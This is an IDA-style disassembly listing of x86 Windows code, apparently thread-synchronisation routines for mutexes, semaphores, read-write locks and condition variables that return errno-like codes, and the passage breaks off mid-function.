loc_42A48B:				; CODE XREF: _294ADE7B:0042A47Cj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_40196F
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_40208B
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42A562
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42A562
		cmp	[esi+0Ch], ebp
		jge	loc_42A575
		test	edi, edi
		jz	short loc_42A4F4
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010AF
		push	2
		call	sub_401CA8
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42A4F4:				; CODE XREF: _294ADE7B:0042A4C9j
		mov	edi, [esi+4]
		push	edi
		call	ds:dword_4B3834
		push	0
		push	edi
		call	ds:dword_4B3848
		cmp	eax, 102h
		jnz	short loc_42A582
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		call	ds:dword_4B3838
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42A600
		push	ecx
		push	edi
		call	ds:dword_4B383C
		push	ebx
		call	sub_4010AF
		add	esp, 4
		push	edi
		call	ds:dword_4B3840
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42A562:				; CODE XREF: _294ADE7B:0042A4ADj
					; _294ADE7B:0042A4B8j
		cmp	[esi+0Ch], ebp
		jge	short loc_42A575
		mov	edx, [esi+38h]
		push	edx
		call	ds:dword_4B3844
		test	eax, eax
		jnz	short loc_42A579


loc_42A575:				; CODE XREF: _294ADE7B:0042A4C1j
					; _294ADE7B:0042A565j
		mov	[esp+10h], ebp


loc_42A579:				; CODE XREF: _294ADE7B:0042A573j
		push	ebx
		call	sub_4010AF
		add	esp, 4


loc_42A582:				; CODE XREF: _294ADE7B:0042A50Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_42A589:				; CODE XREF: _294ADE7B:0042A46Fj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A600:				; DATA XREF: _294ADE7B:0042A530o
		push	2
		call	sub_401CA8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A620	proc near		; CODE XREF: sub_401109j

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4B26E4
		push	esi
		push	eax
		call	sub_40116D
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42A65E
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_42A64C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42A64C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42A64C:				; CODE XREF: sub_42A620+1Bj
					; sub_42A620+21j
		mov	edx, [esi+8]
		mov	eax, ds:dword_4B26E4
		push	edx
		push	eax
		call	sub_401F5A
		add	esp, 8


loc_42A65E:				; CODE XREF: sub_42A620+13j
		mov	eax, esi
		pop	esi
		retn
sub_42A620	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A690	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, ds:dword_4B26E4
		push	edx
		call	sub_40116D
		mov	[esi+8], eax
		mov	eax, ds:dword_4B26E4
		push	esi
		push	eax
		call	sub_401F5A
		add	esp, 0Ch
		pop	esi
		retn
sub_42A690	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A6E0	proc near		; CODE XREF: sub_401A5Aj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_4B2760
		xor	esi, esi
		call	ds:dword_4B3868
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A714
		push	esi
		push	ecx
		call	sub_4014D8
		add	esp, 8
		mov	esi, eax
		push	offset dword_4B2760
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A714:				; CODE XREF: sub_42A6E0+17j
		test	eax, eax
		jnz	short loc_42A71D
		mov	esi, 16h


loc_42A71D:				; CODE XREF: sub_42A6E0+36j
		push	offset dword_4B2760
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		retn
sub_42A6E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A750:				; CODE XREF: _294ADE7B:00401F7Dj
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	ds:dword_4B3A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_42A773
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42A773:				; CODE XREF: _294ADE7B:0042A762j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A790:				; CODE XREF: _294ADE7B:0040203Bj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42A7B3
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42A7B3
		push	eax
		call	ds:dword_4B3AAC
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A7B3:				; CODE XREF: _294ADE7B:0042A797j
					; _294ADE7B:0042A79Dj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A7D0:				; CODE XREF: _294ADE7B:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42A7ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42A7ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42A7ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42A7ED:				; CODE XREF: _294ADE7B:0042A7D6j
					; _294ADE7B:0042A7DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42A810:				; CODE XREF: _294ADE7B:00401276j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42A83A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42A83A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42A82E
		test	eax, eax
		jnz	short loc_42A83A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42A82E:				; CODE XREF: _294ADE7B:0042A825j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42A83A:				; CODE XREF: _294ADE7B:0042A816j
					; _294ADE7B:0042A81Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A850	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42A866
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A866:				; CODE XREF: sub_42A850+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42A88D
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42A88D
		cmp	dword ptr [eax], 1
		jnz	short loc_42A88D
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A88D:				; CODE XREF: sub_42A850+1Ej
					; sub_42A850+24j ...
		push	20h
		push	1
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42A8B2
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A8B2:				; CODE XREF: sub_42A850+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401B59
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42A8D7
		call	ds:dword_4B3A50
		mov	edi, [eax]
		jmp	short loc_42A91B
; ---------------------------------------------------------------------------


loc_42A8D7:				; CODE XREF: sub_42A850+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401B59
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42A8F5
		call	ds:dword_4B3A50
		mov	edi, [eax]
		jmp	short loc_42A912
; ---------------------------------------------------------------------------


loc_42A8F5:				; CODE XREF: sub_42A850+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_40200E
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42A97F
		push	ebx
		call	sub_4015FA
		add	esp, 4


loc_42A912:				; CODE XREF: sub_42A850+A3j
		push	ebp
		call	sub_4015FA
		add	esp, 4


loc_42A91B:				; CODE XREF: sub_42A850+85j
		push	esi
		call	ds:dword_4B3AAC
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42A972


loc_42A92B:				; CODE XREF: sub_42A850+131j
		push	offset dword_4B27E0
		call	ds:dword_4B3868
		mov	dword ptr [esi+18h], 0
		mov	ecx, ds:dword_4B26EC
		mov	[esi+1Ch], ecx
		mov	eax, ds:dword_4B26EC
		test	eax, eax
		jz	short loc_42A952
		mov	[eax+18h], esi


loc_42A952:				; CODE XREF: sub_42A850+FDj
		mov	eax, ds:dword_4B26E8
		mov	ds:dword_4B26EC, esi
		test	eax, eax
		jnz	short loc_42A967
		mov	ds:dword_4B26E8, esi


loc_42A967:				; CODE XREF: sub_42A850+10Fj
		push	offset dword_4B27E0
		call	ds:dword_4B386C


loc_42A972:				; CODE XREF: sub_42A850+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A97F:				; CODE XREF: sub_42A850+B7j
		xor	edi, edi
		jmp	short loc_42A92B
sub_42A850	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A9E0	proc near		; CODE XREF: sub_4019B0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42AB8C
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42AB8C
		cmp	eax, 0FFFFFFFFh
		jz	loc_42AB43
		push	offset dword_4B27E0
		call	ds:dword_4B3868
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42AA39
		call	ds:dword_4B3A50
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42AA39:				; CODE XREF: sub_42A9E0+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_4016DB
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42AA60
		push	ebx
		call	sub_401037
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42AA60:				; CODE XREF: sub_42A9E0+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42AA99
		push	ebx
		call	sub_401037
		add	esp, 4
		test	eax, eax
		jz	short loc_42AA82
		call	ds:dword_4B3A50
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42AA82:				; CODE XREF: sub_42A9E0+94j
		push	ebp
		call	sub_4010AF
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42AB2E
; ---------------------------------------------------------------------------


loc_42AA99:				; CODE XREF: sub_42A9E0+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_4015FA
		mov	edi, ds:dword_4B3A50
		add	esp, 4
		test	eax, eax
		jz	short loc_42AABA
		call	edi
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42AABA:				; CODE XREF: sub_42A9E0+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_4015FA
		add	esp, 4
		test	eax, eax
		jz	short loc_42AAD2
		call	edi
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42AAD2:				; CODE XREF: sub_42A9E0+E8j
		push	ebp
		call	sub_4010AF
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42AAEC
		push	ebp
		call	sub_402090
		add	esp, 4
		mov	ebx, eax


loc_42AAEC:				; CODE XREF: sub_42A9E0+FFj
		cmp	ds:dword_4B26E8, esi
		jnz	short loc_42AAFF
		mov	edx, [esi+18h]
		mov	ds:dword_4B26E8, edx
		jmp	short loc_42AB08
; ---------------------------------------------------------------------------


loc_42AAFF:				; CODE XREF: sub_42A9E0+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42AB08:				; CODE XREF: sub_42A9E0+11Dj
		cmp	ds:dword_4B26EC, esi
		jnz	short loc_42AB1B
		mov	edx, [esi+1Ch]
		mov	ds:dword_4B26EC, edx
		jmp	short loc_42AB24
; ---------------------------------------------------------------------------


loc_42AB1B:				; CODE XREF: sub_42A9E0+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42AB24:				; CODE XREF: sub_42A9E0+139j
		push	esi
		call	ds:dword_4B3AAC
		add	esp, 4


loc_42AB2E:				; CODE XREF: sub_42A9E0+B4j
		push	offset dword_4B27E0
		call	ds:dword_4B386C
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42AB72
; ---------------------------------------------------------------------------


loc_42AB43:				; CODE XREF: sub_42A9E0+28j
		push	offset dword_4B2760
		call	ds:dword_4B3868
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42AB5B
		mov	dword ptr [edi], 0
		jmp	short loc_42AB67
; ---------------------------------------------------------------------------


loc_42AB5B:				; CODE XREF: sub_42A9E0+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42AB67:				; CODE XREF: sub_42A9E0+179j
		push	offset dword_4B2760
		call	ds:dword_4B386C


loc_42AB72:				; CODE XREF: sub_42A9E0+161j
		test	esi, esi
		jz	short loc_42AB7E
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42AB7E:				; CODE XREF: sub_42A9E0+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42AB91
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42AB8C:				; CODE XREF: sub_42A9E0+15j
					; sub_42A9E0+1Fj
		mov	eax, 16h


loc_42AB91:				; CODE XREF: sub_42A9E0+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42A9E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AC10	proc near		; CODE XREF: sub_4011DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_42AC40
		add	esp, 0Ch
		retn
sub_42AC10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AC40	proc near		; CODE XREF: sub_42AC10+Cp
					; sub_42AF10+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42AD49
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42AD49
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42AC82
		push	esi
		call	sub_401A5A
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42AC82
		cmp	eax, 10h
		jnz	loc_42AD4E


loc_42AC82:				; CODE XREF: sub_42AC40+26j
					; sub_42AC40+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42ACA2
		call	ds:dword_4B3A50
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42ACA2:				; CODE XREF: sub_42AC40+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_401037
		add	esp, 4
		test	eax, eax
		jz	short loc_42ACC2
		call	ds:dword_4B3A50
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42ACC2:				; CODE XREF: sub_42AC40+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42ADB0
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_4015D7
		push	edi
		call	sub_4010AF
		add	esp, 10h
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jnz	short loc_42AD2A
		mov	eax, [esp+28h+arg_8]
		add	esi, 0Ch
		push	eax
		push	esi
		call	sub_4017CB
		add	esp, 8
		test	eax, eax
		jz	short loc_42AD26
		call	ds:dword_4B3A50
		mov	eax, [eax]
		mov	[esp+28h+var_20], eax
		jmp	short loc_42AD2A
; ---------------------------------------------------------------------------


loc_42AD26:				; CODE XREF: sub_42AC40+D6j
		mov	eax, [esp+28h+var_20]


loc_42AD2A:				; CODE XREF: sub_42AC40+C1j
					; sub_42AC40+E4j
		xor	ecx, ecx
		push	1
		test	eax, eax
		setz	cl
		mov	[esp+2Ch+var_4], ecx
		call	sub_401109
		mov	eax, [esp+2Ch+var_20]
		add	esp, 4
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42AD49:				; CODE XREF: sub_42AC40+13j
					; sub_42AC40+1Dj
		mov	eax, 16h


loc_42AD4E:				; CODE XREF: sub_42AC40+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42AC40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42ADB0:				; DATA XREF: sub_42AC40+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_40208B
		add	esp, 4
		test	eax, eax
		jz	short loc_42ADDB
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42ADDB:				; CODE XREF: _294ADE7B:0042ADD1j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42ADEE
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42AE57
; ---------------------------------------------------------------------------


loc_42ADEE:				; CODE XREF: _294ADE7B:0042ADE4j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42AE57
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42AE22
		call	ds:dword_4B3A50
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42AE22:				; CODE XREF: _294ADE7B:0042AE0Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_401037
		add	esp, 4
		test	eax, eax
		jz	short loc_42AE4C
		call	ds:dword_4B3A50
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42AE4C:				; CODE XREF: _294ADE7B:0042AE36j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42AE57:				; CODE XREF: _294ADE7B:0042ADECj
					; _294ADE7B:0042ADFCj
		push	edi
		call	sub_4010AF
		add	esp, 4
		test	eax, eax
		jz	short loc_42AE70
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42AE70:				; CODE XREF: _294ADE7B:0042AE62j
		cmp	ebx, 1
		jnz	short loc_42AE99
		add	esi, 10h
		push	esi
		call	sub_401037
		add	esp, 4
		test	eax, eax
		jz	short loc_42AE99
		call	ds:dword_4B3A50
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42AE99:				; CODE XREF: _294ADE7B:0042AE73j
					; _294ADE7B:0042AE83j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_40208B
		add	esp, 4
		test	eax, eax
		jz	short loc_42AEAF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42AEAF:				; CODE XREF: _294ADE7B:0042AEA7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF10	proc near		; CODE XREF: sub_4011B8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42AF1E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42AF1E:				; CODE XREF: sub_42AF10+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_42AC40
		add	esp, 0Ch
		retn
sub_42AF10	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF50	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42AF70
		add	esp, 8
		retn
sub_42AF50	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AF70	proc near		; CODE XREF: sub_42AF50+7p
					; sub_42B0D0+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42B074
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42B074
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42AF94
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42AF94:				; CODE XREF: sub_42AF70+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_40208B
		add	esp, 4
		test	eax, eax
		jnz	loc_42B079
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42AFE4
		test	eax, eax
		jnz	short loc_42AFC2


loc_42AFB5:				; CODE XREF: sub_42AF70+77j
		push	ebx
		call	sub_4010AF
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42AFC2:				; CODE XREF: sub_42AF70+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42AFD9
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42B046
; ---------------------------------------------------------------------------


loc_42AFD9:				; CODE XREF: sub_42AF70+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42B043
; ---------------------------------------------------------------------------


loc_42AFE4:				; CODE XREF: sub_42AF70+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42AFB5
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42B010
		call	ds:dword_4B3A50
		mov	esi, [eax]
		push	ebx
		call	sub_4010AF
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42B010:				; CODE XREF: sub_42AF70+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42B024
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42B024:				; CODE XREF: sub_42AF70+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42B039
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42B046
; ---------------------------------------------------------------------------


loc_42B039:				; CODE XREF: sub_42AF70+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42B043:				; CODE XREF: sub_42AF70+72j
		dec	eax
		mov	[esi], eax


loc_42B046:				; CODE XREF: sub_42AF70+67j
					; sub_42AF70+C7j
		push	ebx
		call	sub_4010AF
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42B06E
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_401EDD
		add	esp, 8
		test	eax, eax
		jz	short loc_42B06E
		call	ds:dword_4B3A50
		mov	ebx, [eax]


loc_42B06E:				; CODE XREF: sub_42AF70+E3j
					; sub_42AF70+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42B074:				; CODE XREF: sub_42AF70+9j
					; sub_42AF70+13j
		mov	eax, 16h


loc_42B079:				; CODE XREF: sub_42AF70+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42AF70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0D0	proc near		; CODE XREF: sub_401587j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42AF70
		add	esp, 8
		retn
sub_42B0D0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0F0	proc near		; CODE XREF: sub_40120Dj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401A28
		mov	esi, eax
		test	esi, esi
		jz	loc_42B1C6
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		call	ds:dword_4B3AB0
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_42B1C6
		mov	ecx, [esp+10h+arg_8]
